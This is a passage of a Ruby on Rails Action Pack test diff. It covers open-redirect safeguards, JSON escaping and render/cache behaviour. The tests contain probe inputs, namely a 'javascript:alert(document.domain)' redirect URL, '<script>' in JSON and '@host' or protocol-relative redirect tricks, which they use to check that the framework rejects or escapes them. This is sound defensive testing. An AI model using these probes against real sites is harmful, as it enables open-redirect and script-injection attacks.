+    assert_equal "http://test.host:1234/things/stuff", redirect_to_url
+  end
+
   def test_simple_redirect_using_options
     get :host_redirect
     assert_response :redirect
@@ -222,6 +330,12 @@ def test_redirect_to_url
     assert_redirected_to "http://www.rubyonrails.org/"
   end
 
+  def test_redirect_to_url_with_stringlike
+    get :redirect_to_url_with_stringlike
+    assert_response :redirect
+    assert_redirected_to "http://www.rubyonrails.org/"
+  end
+
   def test_redirect_to_url_with_unescaped_query_string
     get :redirect_to_url_with_unescaped_query_string
     assert_response :redirect
@@ -234,6 +348,24 @@ def test_redirect_to_url_with_complex_scheme
     assert_equal "x-test+scheme.complex:redirect", redirect_to_url
   end
 
+  def test_redirect_to_path_relative_url
+    get :redirect_to_path_relative_url
+    assert_response :redirect
+    assert_equal "http://test.hostexample.com", redirect_to_url
+  end
+
+  def test_redirect_to_url_with_path_relative_url_starting_with_an_at
+    get :redirect_to_path_relative_url_starting_with_an_at
+    assert_response :redirect
+    assert_equal "http://test.host@example.com", redirect_to_url
+  end
+
+  def test_redirect_to_query_string_url
+    get :redirect_to_query_string_url
+    assert_response :redirect
+    assert_equal "http://test.host?foo=bar", redirect_to_url
+  end
+
   def test_redirect_to_url_with_network_path_reference
     get :redirect_to_url_with_network_path_reference
     assert_response :redirect
@@ -257,12 +389,66 @@ def test_redirect_back_with_no_referer
     assert_equal "http://test.host/things/stuff", redirect_to_url
   end
 
+  def test_redirect_back_with_no_referer_redirects_to_another_host
+    get :redirect_back_with_status_and_fallback_location_to_another_host
+
+    assert_response 307
+    assert_equal "http://www.rubyonrails.org/", redirect_to_url
+  end
+
+  def test_safe_redirect_back_from_other_host
+    @request.env["HTTP_REFERER"] = "http://another.host/coming/from"
+    get :safe_redirect_back_with_status
+
+    assert_response 307
+    assert_equal "http://test.host/things/stuff", redirect_to_url
+  end
+
+  def test_safe_redirect_back_from_the_same_host
+    referer = "http://test.host/coming/from"
+    @request.env["HTTP_REFERER"] = referer
+    get :safe_redirect_back_with_status
+
+    assert_response 307
+    assert_equal referer, redirect_to_url
+  end
+
+  def test_safe_redirect_back_with_no_referer
+    get :safe_redirect_back_with_status
+
+    assert_response 307
+    assert_equal "http://test.host/things/stuff", redirect_to_url
+  end
+
+  def test_safe_redirect_back_with_no_referer_redirects_to_another_host
+    get :safe_redirect_back_with_status_and_fallback_location_to_another_host
+
+    assert_response 307
+    assert_equal "http://www.rubyonrails.org/", redirect_to_url
+  end
+
+  def test_safe_redirect_to_root
+    get :safe_redirect_to_root
+
+    assert_equal "http://test.host/", redirect_to_url
+  end
+
+  def test_redirect_back_with_explicit_fallback_kwarg
+    referer = "http://www.example.com/coming/from"
+    @request.env["HTTP_REFERER"] = referer
+
+    get :redirect_back_with_explicit_fallback_kwarg
+
+    assert_response 307
+    assert_equal referer, redirect_to_url
+  end
+
   def test_redirect_to_record
     with_routing do |set|
       set.draw do
         resources :workshops
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -277,6 +463,43 @@ def test_redirect_to_record
     end
   end
 
+  def test_polymorphic_redirect
+    with_routing do |set|
+      set.draw do
+        namespace :internal do
+          resources :workshops
+        end
+
+        ActionDispatch.deprecator.silence do
+          get ":controller/:action"
+        end
+      end
+
+      get :redirect_to_polymorphic
+      assert_equal "http://test.host/internal/workshops/5", redirect_to_url
+      assert_redirected_to [:internal, Workshop.new(5)]
+    end
+  end
+
+  def test_polymorphic_redirect_with_string_args
+    with_routing do |set|
+      set.draw do
+        namespace :internal do
+          resources :workshops
+        end
+
+        ActionDispatch.deprecator.silence do
+          get ":controller/:action"
+        end
+      end
+
+      error = assert_raises(ArgumentError) do
+        get :redirect_to_polymorphic_string_args
+      end
+      assert_equal("Please use symbols for polymorphic route arguments.", error.message)
+    end
+  end
+
   def test_redirect_to_nil
     error = assert_raise(ActionController::ActionControllerError) do
       get :redirect_to_nil
@@ -285,10 +508,10 @@ def test_redirect_to_nil
   end
 
   def test_redirect_to_params
-    error = assert_raise(ArgumentError) do
+    error = assert_raise(ActionController::UnfilteredParameters) do
       get :redirect_to_params
     end
-    assert_equal ActionDispatch::Routing::INSECURE_URL_PARAMETERS_MESSAGE, error.message
+    assert_equal "unable to convert unpermitted parameters to hash", error.message
   end
 
   def test_redirect_to_with_block
@@ -303,10 +526,16 @@ def test_redirect_to_with_block_and_assigns
     assert_redirected_to "http://www.rubyonrails.org/"
   end
 
+  def test_redirect_to_out_of_scope_block
+    get :redirect_to_out_of_scope_block
+    assert_response :redirect
+    assert_redirected_to "http://test.host/redirect/redirect_to_out_of_scope_block"
+  end
+
   def test_redirect_to_with_block_and_accepted_options
     with_routing do |set|
       set.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -317,6 +546,487 @@ def test_redirect_to_with_block_and_accepted_options
       assert_redirected_to "http://test.host/redirect/hello_world"
     end
   end
+
+  def test_unsafe_redirect
+    with_raise_on_open_redirects do
+      error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+        get :unsafe_redirect
+      end
+
+      assert_equal "Unsafe redirect to \"http://www.rubyonrails.org/\", pass allow_other_host: true to redirect anyway.", error.message
+    end
+  end
+
+  def test_unsafe_redirect_back
+    with_raise_on_open_redirects do
+      error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+        get :unsafe_redirect_back
+      end
+
+      assert_equal "Unsafe redirect to \"http://www.rubyonrails.org/\", pass allow_other_host: true to redirect anyway.", error.message
+    end
+  end
+
+  def test_unsafe_redirect_with_malformed_url
+    with_raise_on_open_redirects do
+      error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+        get :unsafe_redirect_malformed
+      end
+
+      assert_equal "Unsafe redirect to \"http:///www.rubyonrails.org/\", pass allow_other_host: true to redirect anyway.", error.message
+    end
+  end
+
+  def test_unsafe_redirect_with_protocol_relative_double_slash_url
+    with_raise_on_open_redirects do
+      error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+        get :unsafe_redirect_protocol_relative_double_slash
+      end
+
+      assert_equal "Unsafe redirect to \"//www.rubyonrails.org/\", pass allow_other_host: true to redirect anyway.", error.message
+    end
+  end
+
+  def test_unsafe_redirect_with_protocol_relative_triple_slash_url
+    with_raise_on_open_redirects do
+      error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+        get :unsafe_redirect_protocol_relative_triple_slash
+      end
+
+      assert_equal "Unsafe redirect to \"///www.rubyonrails.org/\", pass allow_other_host: true to redirect anyway.", error.message
+    end
+  end
+
+  def test_unsafe_redirect_with_illegal_http_header_value_character
+    with_raise_on_open_redirects do
+      error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+        get :unsafe_redirect_with_illegal_http_header_value_character
+      end
+
+      msg = "The redirect URL javascript:alert(document.domain)\b contains one or more illegal HTTP header field character. " \
+        "Set of legal characters defined in https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.6"
+
+      assert_equal msg, error.message
+    end
+  end
+
+  def test_only_path_redirect
+    with_raise_on_open_redirects do
+      get :only_path_redirect
+      assert_response :redirect
+      assert_redirected_to "/redirect/other_host"
+    end
+  end
+
+  def test_url_from
+    with_raise_on_open_redirects do
+      get :safe_redirect_with_fallback, params: { redirect_url: "http://test.host/app" }
+      assert_response :redirect
+      assert_redirected_to "http://test.host/app"
+    end
+  end
+
+  def test_url_from_fallback
+    with_raise_on_open_redirects do
+      get :safe_redirect_with_fallback, params: { redirect_url: "http://www.rubyonrails.org/" }
+      assert_response :redirect
+      assert_redirected_to "http://test.host/fallback"
+
+      get :safe_redirect_with_fallback, params: { redirect_url: "" }
+      assert_response :redirect
+      assert_redirected_to "http://test.host/fallback"
+    end
+  end
+
+  def test_redirect_to_instrumentation
+    notification = assert_notification("redirect_to.action_controller", status: 302, location: "http://test.host/redirect/hello_world") do
+      get :simple_redirect
+    end
+
+    assert_kind_of ActionDispatch::Request, notification.payload[:request]
+  end
+
+  def test_redirect_to_external_with_rescue
+    get :redirect_to_external_with_rescue
+    assert_response :ok
+  end
+
+  def test_redirect_to_path_relative_url_with_log
+    with_path_relative_redirect(:log) do
+      with_logger do |logger|
+        get :redirect_to_path_relative_url
+        assert_response :redirect
+        assert_equal "http://test.hostexample.com", redirect_to_url
+        assert_logged(/Path relative URL redirect detected: "example.com"/, logger)
+      end
+    end
+  end
+
+  def test_redirect_to_path_relative_url_starting_with_an_at_with_log
+    with_path_relative_redirect(:log) do
+      with_logger do |logger|
+        get :redirect_to_path_relative_url_starting_with_an_at
+        assert_response :redirect
+        assert_equal "http://test.host@example.com", redirect_to_url
+        assert_logged(/Path relative URL redirect detected: "@example.com"/, logger)
+      end
+    end
+  end
+
+  def test_redirect_to_path_relative_url_starting_with_an_at_with_notify
+    with_path_relative_redirect(:notify) do
+      events = []
+      subscriber = ActiveSupport::Notifications.subscribe("unsafe_redirect.action_controller") do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      get :redirect_to_path_relative_url_starting_with_an_at
+
+      assert_response :redirect
+      assert_equal "http://test.host@example.com", redirect_to_url
+
+      assert_equal 1, events.size
+      event = events.first
+      assert_equal "@example.com", event.payload[:url]
+      assert_equal 'Path relative URL redirect detected: "@example.com"', event.payload[:message]
+      assert_kind_of Array, event.payload[:stack_trace]
+      assert event.payload[:stack_trace].any? { |line| line.include?("redirect_to_path_relative_url_starting_with_an_at") }
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+  end
+
+  def test_redirect_to_path_relative_url_with_notify
+    with_path_relative_redirect(:notify) do
+      events = []
+      subscriber = ActiveSupport::Notifications.subscribe("unsafe_redirect.action_controller") do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      get :redirect_to_path_relative_url
+
+      assert_response :redirect
+      assert_equal "http://test.hostexample.com", redirect_to_url
+
+      assert_equal 1, events.size
+      event = events.first
+      assert_equal "example.com", event.payload[:url]
+      assert_equal 'Path relative URL redirect detected: "example.com"', event.payload[:message]
+      assert_kind_of Array, event.payload[:stack_trace]
+      assert event.payload[:stack_trace].any? { |line| line.include?("redirect_to_path_relative_url") }
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+  end
+
+  def test_redirect_to_path_relative_url_with_raise
+    with_path_relative_redirect(:raise) do
+      error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+        get :redirect_to_path_relative_url
+      end
+
+      assert_equal 'Path relative URL redirect detected: "example.com"', error.message
+    end
+  end
+
+  def test_redirect_to_path_relative_url_starting_with_an_at_with_raise
+    with_path_relative_redirect(:raise) do
+      error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+        get :redirect_to_path_relative_url_starting_with_an_at
+      end
+
+      assert_equal 'Path relative URL redirect detected: "@example.com"', error.message
+    end
+  end
+
+  def test_redirect_to_absolute_url_does_not_log
+    with_path_relative_redirect(:log) do
+      with_logger do |logger|
+        get :redirect_to_url
+        assert_response :redirect
+        assert_equal "http://www.rubyonrails.org/", redirect_to_url
+        assert_not_logged(/Path relative URL redirect detected/, logger)
+      end
+
+      with_logger do |logger|
+        get :relative_url_redirect_with_status
+        assert_response :redirect
+        assert_equal "http://test.host/things/stuff", redirect_to_url
+        assert_empty logger.logged(:warn)
+      end
+    end
+  end
+
+  def test_redirect_to_absolute_url_does_not_notify
+    with_path_relative_redirect(:notify) do
+      events = []
+      subscriber = ActiveSupport::Notifications.subscribe("unsafe_redirect.action_controller") do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      get :redirect_to_url
+      assert_response :redirect
+      assert_equal "http://www.rubyonrails.org/", redirect_to_url
+      assert_empty events
+
+      get :relative_url_redirect_with_status
+      assert_response :redirect
+      assert_equal "http://test.host/things/stuff", redirect_to_url
+      assert_empty events
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+  end
+
+  def test_redirect_to_absolute_url_does_not_raise
+    with_path_relative_redirect(:raise) do
+      get :redirect_to_url
+      assert_response :redirect
+      assert_equal "http://www.rubyonrails.org/", redirect_to_url
+
+      get :relative_url_redirect_with_status
+      assert_response :redirect
+      assert_equal "http://test.host/things/stuff", redirect_to_url
+
+      get :redirect_to_url_with_network_path_reference
+      assert_response :redirect
+      assert_equal "//www.rubyonrails.org/", redirect_to_url
+    end
+  end
+
+  def test_redirect_to_query_string_url_does_not_trigger_path_relative_warning_with_log
+    with_path_relative_redirect(:log) do
+      with_logger do |logger|
+        get :redirect_to_query_string_url
+        assert_response :redirect
+        assert_equal "http://test.host?foo=bar", redirect_to_url
+        assert_not_logged(/Path relative URL redirect detected/, logger)
+      end
+    end
+  end
+
+  def test_redirect_to_query_string_url_does_not_trigger_path_relative_warning_with_notify
+    with_path_relative_redirect(:notify) do
+      events = []
+      subscriber = ActiveSupport::Notifications.subscribe("unsafe_redirect.action_controller") do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      get :redirect_to_query_string_url
+      assert_response :redirect
+      assert_equal "http://test.host?foo=bar", redirect_to_url
+
+      assert_empty events.select { |e| e.payload[:message]&.include?("Path relative URL redirect detected") }
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+  end
+
+  def test_redirect_to_query_string_url_does_not_trigger_path_relative_warning_with_raise
+    with_path_relative_redirect(:raise) do
+      get :redirect_to_query_string_url
+      assert_response :redirect
+      assert_equal "http://test.host?foo=bar", redirect_to_url
+    end
+  end
+
+  def test_redirect_with_allowed_redirect_hosts
+    with_raise_on_open_redirects do
+      with_allowed_redirect_hosts(hosts: ["www.rubyonrails.org"]) do
+        get :redirect_to_url
+        assert_response :redirect
+        assert_redirected_to "http://www.rubyonrails.org/"
+      end
+    end
+  end
+
+  def test_not_redirect_with_allowed_redirect_hosts
+    with_raise_on_open_redirects do
+      with_allowed_redirect_hosts(hosts: ["www.ruby-lang.org"]) do
+        assert_raise ActionController::Redirecting::UnsafeRedirectError do
+          get :redirect_to_url
+        end
+      end
+    end
+  end
+
+  def test_redirect_to_external_with_action_on_open_redirect_log
+    with_action_on_open_redirect(:log) do
+      with_logger do |logger|
+        get :redirect_to_url
+        assert_response :redirect
+        assert_equal "http://www.rubyonrails.org/", redirect_to_url
+        assert_logged(/Open redirect to "http:\/\/www.rubyonrails.org\/" detected/, logger)
+      end
+    end
+  end
+
+  def test_redirect_to_external_with_action_on_open_redirect_notify
+    with_action_on_open_redirect(:notify) do
+      events = []
+      subscriber = ActiveSupport::Notifications.subscribe("open_redirect.action_controller") do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      get :redirect_to_url
+      assert_response :redirect
+      assert_equal "http://www.rubyonrails.org/", redirect_to_url
+
+      assert_equal 1, events.size
+      event = events.first
+      assert_equal "http://www.rubyonrails.org/", event.payload[:location]
+      assert_kind_of ActionDispatch::Request, event.payload[:request]
+      assert_kind_of Array, event.payload[:stack_trace]
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+  end
+
+  def test_redirect_to_external_with_action_on_open_redirect_raise
+    with_action_on_open_redirect(:raise) do
+      error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+        get :redirect_to_url
+      end
+      assert_equal "Unsafe redirect to \"http://www.rubyonrails.org/\", pass allow_other_host: true to redirect anyway.", error.message
+    end
+  end
+
+  def test_redirect_to_external_with_explicit_allow_other_host_false_always_raises
+    with_action_on_open_redirect(:log) do
+      get :redirect_to_external_with_rescue
+      assert_response :ok
+      assert_equal "caught error", response.body
+    end
+
+    with_action_on_open_redirect(:notify) do
+      get :redirect_to_external_with_rescue
+      assert_response :ok
+      assert_equal "caught error", response.body
+    end
+
+    with_action_on_open_redirect(:raise) do
+      get :redirect_to_external_with_rescue
+      assert_response :ok
+      assert_equal "caught error", response.body
+    end
+  end
+
+  def test_redirect_back_with_external_referer_and_action_on_open_redirect_log
+    with_action_on_open_redirect(:log) do
+      @request.env["HTTP_REFERER"] = "http://www.rubyonrails.org/"
+      get :redirect_back_with_status
+      assert_response 307
+      assert_equal "http://www.rubyonrails.org/", redirect_to_url
+    end
+  end
+
+  def test_redirect_back_with_external_referer_and_action_on_open_redirect_notify
+    with_action_on_open_redirect(:notify) do
+      @request.env["HTTP_REFERER"] = "http://www.rubyonrails.org/"
+      get :redirect_back_with_status
+      assert_response 307
+      assert_equal "http://www.rubyonrails.org/", redirect_to_url
+    end
+  end
+
+  def test_redirect_back_with_external_referer_and_action_on_open_redirect_raise
+    with_action_on_open_redirect(:raise) do
+      @request.env["HTTP_REFERER"] = "http://www.rubyonrails.org/"
+      get :redirect_back_with_status
+      assert_response 307
+      assert_equal "http://test.host/things/stuff", redirect_to_url
+    end
+  end
+
+  def test_redirect_back_with_external_referer_and_explicit_allow_other_host_false
+    with_action_on_open_redirect(:log) do
+      @request.env["HTTP_REFERER"] = "http://another.host/coming/from"
+      get :safe_redirect_back_with_status
+      assert_response 307
+      assert_equal "http://test.host/things/stuff", redirect_to_url
+    end
+  end
+
+  def test_raise_on_open_redirects_overrides_action_on_open_redirect
+    with_action_on_open_redirect(:log) do
+      with_raise_on_open_redirects do
+        error = assert_raise(ActionController::Redirecting::UnsafeRedirectError) do
+          get :redirect_to_url
+        end
+        assert_match(/Unsafe redirect/, error.message)
+      end
+    end
+  end
+
+  def test_action_on_open_redirect_does_not_affect_internal_redirects
+    with_action_on_open_redirect(:raise) do
+      get :simple_redirect
+      assert_response :redirect
+      assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+    end
+  end
+
+  def test_action_on_open_redirect_with_allowed_redirect_hosts
+    with_action_on_open_redirect(:raise) do
+      with_allowed_redirect_hosts(hosts: ["www.rubyonrails.org"]) do
+        get :redirect_to_url
+        assert_response :redirect
+        assert_redirected_to "http://www.rubyonrails.org/"
+      end
+    end
+  end
+
+  private
+    def with_logger
+      logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+      old_logger = ActionController::Base.logger
+      ActionController::Base.logger = logger
+      yield logger
+    ensure
+      ActionController::Base.logger = old_logger
+    end
+
+    def assert_logged(pattern, logger)
+      assert logger.logged(:warn).any? { |msg| msg.match?(pattern) },
+        "Expected to find log matching #{pattern.inspect} in: #{logger.logged(:warn).inspect}"
+    end
+
+    def assert_not_logged(pattern, logger)
+      assert logger.logged(:warn).none? { |msg| msg.match?(pattern) },
+        "Expected not to find log matching #{pattern.inspect} in: #{logger.logged(:warn).inspect}"
+    end
+
+    def with_path_relative_redirect(action)
+      old_config = ActionController::Base.action_on_path_relative_redirect
+      ActionController::Base.action_on_path_relative_redirect = action
+      yield
+    ensure
+      ActionController::Base.action_on_path_relative_redirect = old_config
+    end
+
+    def with_raise_on_open_redirects
+      old_raise_on_open_redirects = ActionController::Base.raise_on_open_redirects
+      ActionController::Base.raise_on_open_redirects = true
+      yield
+    ensure
+      ActionController::Base.raise_on_open_redirects = old_raise_on_open_redirects
+    end
+
+    def with_action_on_open_redirect(action)
+      old_action = ActionController::Base.action_on_open_redirect
+      ActionController::Base.action_on_open_redirect = action
+      yield
+    ensure
+      ActionController::Base.action_on_open_redirect = old_action
+    end
+
+    def with_allowed_redirect_hosts(hosts:)
+      old_allowed_redirect_hosts = ActionController::Base.allowed_redirect_hosts
+      ActionController::Base.allowed_redirect_hosts = hosts
+      yield
+    ensure
+      ActionController::Base.allowed_redirect_hosts = old_allowed_redirect_hosts
+    end
 end
 
 module ModuleTest
diff --git a/actionpack/test/controller/render_js_test.rb b/actionpack/test/controller/render_js_test.rb
index 290218d4a2732..da8f6e80624a6 100644
--- a/actionpack/test/controller/render_js_test.rb
+++ b/actionpack/test/controller/render_js_test.rb
@@ -1,6 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_models"
-require "pathname"
 
 class RenderJSTest < ActionController::TestCase
   class TestController < ActionController::Base
@@ -24,7 +25,7 @@ def show_partial
   def test_render_vanilla_js
     get :render_vanilla_js_hello, xhr: true
     assert_equal "alert('hello')", @response.body
-    assert_equal "text/javascript", @response.content_type
+    assert_equal "text/javascript", @response.media_type
   end
 
   def test_should_render_js_partial
diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb
index 79552ec8f1cb7..900ed069e4feb 100644
--- a/actionpack/test/controller/render_json_test.rb
+++ b/actionpack/test/controller/render_json_test.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_models"
 require "active_support/logger"
-require "pathname"
+require "active_support/core_ext/object/with"
 
 class RenderJsonTest < ActionController::TestCase
   class JsonRenderable
@@ -16,6 +18,12 @@ def to_json(options = {})
     end
   end
 
+  class InspectOptions
+    def as_json(options = {})
+      { options: options }
+    end
+  end
+
   class TestController < ActionController::Base
     protect_from_forgery
 
@@ -27,10 +35,6 @@ def render_json_nil
       render json: nil
     end
 
-    def render_json_render_to_string
-      render plain: render_to_string(json: "[]")
-    end
-
     def render_json_hello_world
       render json: ActiveSupport::JSON.encode(hello: "world")
     end
@@ -43,6 +47,14 @@ def render_json_hello_world_with_callback
       render json: ActiveSupport::JSON.encode(hello: "world"), callback: "alert"
     end
 
+    def render_json_unsafe_chars_with_callback
+      render json: { hello: "\u2028\u2029<script>" }, callback: "alert"
+    end
+
+    def render_json_unsafe_chars_without_callback
+      render json: { hello: "\u2028\u2029<script>" }
+    end
+
     def render_json_with_custom_content_type
       render json: ActiveSupport::JSON.encode(hello: "world"), content_type: "text/javascript"
     end
@@ -62,6 +74,10 @@ def render_json_with_extra_options
     def render_json_without_options
       render json: JsonRenderable.new
     end
+
+    def render_json_inspect_options
+      render json: InspectOptions.new
+    end
   end
 
   tests TestController
@@ -78,18 +94,13 @@ def setup
   def test_render_json_nil
     get :render_json_nil
     assert_equal "null", @response.body
-    assert_equal "application/json", @response.content_type
-  end
-
-  def test_render_json_render_to_string
-    get :render_json_render_to_string
-    assert_equal "[]", @response.body
+    assert_equal "application/json", @response.media_type
   end
 
   def test_render_json
     get :render_json_hello_world
     assert_equal '{"hello":"world"}', @response.body
-    assert_equal "application/json", @response.content_type
+    assert_equal "application/json", @response.media_type
   end
 
   def test_render_json_with_status
@@ -101,35 +112,140 @@ def test_render_json_with_status
   def test_render_json_with_callback
     get :render_json_hello_world_with_callback, xhr: true
     assert_equal '/**/alert({"hello":"world"})', @response.body
-    assert_equal "text/javascript", @response.content_type
+    assert_equal "text/javascript", @response.media_type
+  end
+
+  def test_render_json_with_callback_escapes_js_chars
+    get :render_json_unsafe_chars_with_callback, xhr: true
+    assert_equal '/**/alert({"hello":"\\u2028\\u2029\\u003cscript\\u003e"})', @response.body
+    assert_equal "text/javascript", @response.media_type
+  end
+
+  def test_render_json_with_new_default_and_without_callback_does_not_escape_js_chars
+    msg = <<~MSG.squish
+      Setting action_controller.escape_json_responses = true is deprecated and will have no effect in Rails 8.2.
+      Set it to `false`, or remove the config.
+    MSG
+
+    assert_deprecated(msg, ActionController.deprecator) do
+      TestController.with(escape_json_responses: false) do
+        get :render_json_unsafe_chars_without_callback
+        assert_equal %({"hello":"\u2028\u2029<script>"}), @response.body
+        assert_equal "application/json", @response.media_type
+      end
+    end
+  end
+
+  def test_render_json_with_optional_escape_option_is_not_deprecated
+    @before_escape_json_responses = @controller.class.escape_json_responses
+
+    assert_not_deprecated(ActionController.deprecator) do
+      @controller.class.escape_json_responses = false
+    end
+
+    get :render_json_unsafe_chars_without_callback
+    assert_equal %({"hello":"\u2028\u2029<script>"}), @response.body
+    assert_equal "application/json", @response.media_type
+  ensure
+    ActionController.deprecator.silence do
+      @controller.class.escape_json_responses = @before_escape_json_responses
+    end
+  end
+
+  def test_render_json_with_redundant_escape_option_is_deprecated
+    @before_escape_json_responses = @controller.class.escape_json_responses
+
+    msg = <<~MSG.squish
+      Setting action_controller.escape_json_responses = true is deprecated and will have no effect in Rails 8.2.
+      Set it to `false`, or remove the config.
+    MSG
+
+    assert_deprecated(msg, ActionController.deprecator) do
+      @controller.class.escape_json_responses = true
+    end
+
+    get :render_json_unsafe_chars_without_callback
+    assert_equal '{"hello":"\\u2028\\u2029\\u003cscript\\u003e"}', @response.body
+    assert_equal "application/json", @response.media_type
+  ensure
+    ActionController.deprecator.silence do
+      @controller.class.escape_json_responses = @before_escape_json_responses
+    end
+  end
+
+  def test_set_escape_json_responses_class_method_is_deprecated
+    @before_escape_json_responses = @controller.class.escape_json_responses
+
+    msg = <<~MSG.squish
+      Setting action_controller.escape_json_responses = true is deprecated and will have no effect in Rails 8.2.
+      Set it to `false`, or remove the config.
+    MSG
+
+    assert_deprecated(msg, ActionController.deprecator) do
+      @controller.class.escape_json_responses = true
+    end
+
+    get :render_json_unsafe_chars_without_callback
+    assert_equal '{"hello":"\\u2028\\u2029\\u003cscript\\u003e"}', @response.body
+    assert_equal "application/json", @response.media_type
+  ensure
+    ActionController.deprecator.silence do
+      @controller.class.escape_json_responses = @before_escape_json_responses
+    end
+  end
+
+  def test_set_escape_json_responses_controller_method_is_deprecated
+    @before_escape_json_responses = @controller.class.escape_json_responses
+
+    msg = <<~MSG.squish
+      Setting action_controller.escape_json_responses = true is deprecated and will have no effect in Rails 8.2.
+      Set it to `false`, or remove the config.
+    MSG
+
+    assert_deprecated(msg, ActionController.deprecator) do
+      @controller.class.escape_json_responses = true
+    end
+
+    get :render_json_unsafe_chars_without_callback
+    assert_equal '{"hello":"\\u2028\\u2029\\u003cscript\\u003e"}', @response.body
+    assert_equal "application/json", @response.media_type
+  ensure
+    ActionController.deprecator.silence do
+      @controller.class.escape_json_responses = @before_escape_json_responses
+    end
   end
 
   def test_render_json_with_custom_content_type
     get :render_json_with_custom_content_type, xhr: true
     assert_equal '{"hello":"world"}', @response.body
-    assert_equal "text/javascript", @response.content_type
+    assert_equal "text/javascript", @response.media_type
   end
 
   def test_render_symbol_json
     get :render_symbol_json
     assert_equal '{"hello":"world"}', @response.body
-    assert_equal "application/json", @response.content_type
+    assert_equal "application/json", @response.media_type
   end
 
   def test_render_json_with_render_to_string
     get :render_json_with_render_to_string
     assert_equal '{"hello":"partial html"}', @response.body
-    assert_equal "application/json", @response.content_type
+    assert_equal "application/json", @response.media_type
   end
 
   def test_render_json_forwards_extra_options
     get :render_json_with_extra_options
     assert_equal '{"a":"b"}', @response.body
-    assert_equal "application/json", @response.content_type
+    assert_equal "application/json", @response.media_type
   end
 
   def test_render_json_calls_to_json_from_object
     get :render_json_without_options
     assert_equal '{"a":"b"}', @response.body
   end
+
+  def test_render_json_avoids_view_options
+    get :render_json_inspect_options
+    assert_equal '{"options":{}}', @response.body
+  end
 end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index 3a0a0a8bde7eb..3a5778b87917d 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -1,8 +1,15 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_models"
+require "support/etag_helper"
 
 class TestControllerWithExtraEtags < ActionController::Base
-  def self.controller_name; "test"; end
+  self.view_paths = [ActionView::FixtureResolver.new(
+    "test/with_implicit_template.erb" => "Hello explicitly!",
+    "test/hello_world.erb" => "Hello world!"
+  )]
+
   def self.controller_path; "test"; end
 
   etag { nil  }
@@ -35,6 +42,11 @@ def with_implicit_template
 end
 
 class ImplicitRenderTestController < ActionController::Base
+  self.view_paths = [ActionView::FixtureResolver.new(
+    "implicit_render_test/hello_world.erb" => "Hello world!",
+    "implicit_render_test/empty_action_with_template.html.erb" => "<h1>Empty action rendered this implicitly.</h1>\n"
+  )]
+
   def empty_action
   end
 
@@ -44,12 +56,22 @@ def empty_action_with_template
 
 module Namespaced
   class ImplicitRenderTestController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "namespaced/implicit_render_test/hello_world.erb" => "Hello world!"
+    )]
+
     def hello_world
       fresh_when(etag: "abc")
     end
   end
 end
 
+class InheritedRenderTestController < ImplicitRenderTestController
+  def hello_world
+    fresh_when(etag: "abc")
+  end
+end
+
 class TestController < ActionController::Base
   protect_from_forgery
 
@@ -71,7 +93,7 @@ def hello_world
   end
 
   def conditional_hello
-    if stale?(last_modified: Time.now.utc.beginning_of_day, etag: [:foo, 123])
+    if stale?(last_modified: Time.now.utc.beginning_of_day, etag: [:foo, 123], cache_control: { no_cache: true })
       render action: "hello_world"
     end
   end
@@ -84,6 +106,15 @@ def conditional_hello_with_record
     end
   end
 
+  def conditional_hello_with_array_of_records
+    record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
+    old_record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day.yesterday, "bar/123")
+
+    if stale?([record, old_record])
+      render action: "hello_world"
+    end
+  end
+
   def dynamic_render
     render params[:id] # => String, AC::Params
   end
@@ -139,6 +170,21 @@ def conditional_hello_with_expires_in_with_public_and_must_revalidate
     render action: "hello_world"
   end
 
+  def conditional_hello_with_expires_in_with_stale_while_revalidate
+    expires_in 1.minute, public: true, stale_while_revalidate: 5.minutes
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_expires_in_with_stale_if_error
+    expires_in 1.minute, public: true, stale_if_error: 5.minutes
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_expires_in_with_immutable
+    expires_in 1.minute, public: true, immutable: true
+    render action: "hello_world"
+  end
+
   def conditional_hello_with_expires_in_with_public_with_more_keys
     expires_in 1.minute, :public => true, "s-maxage" => 5.hours
     render action: "hello_world"
@@ -160,13 +206,29 @@ def conditional_hello_with_cache_control_headers
     render action: "hello_world"
   end
 
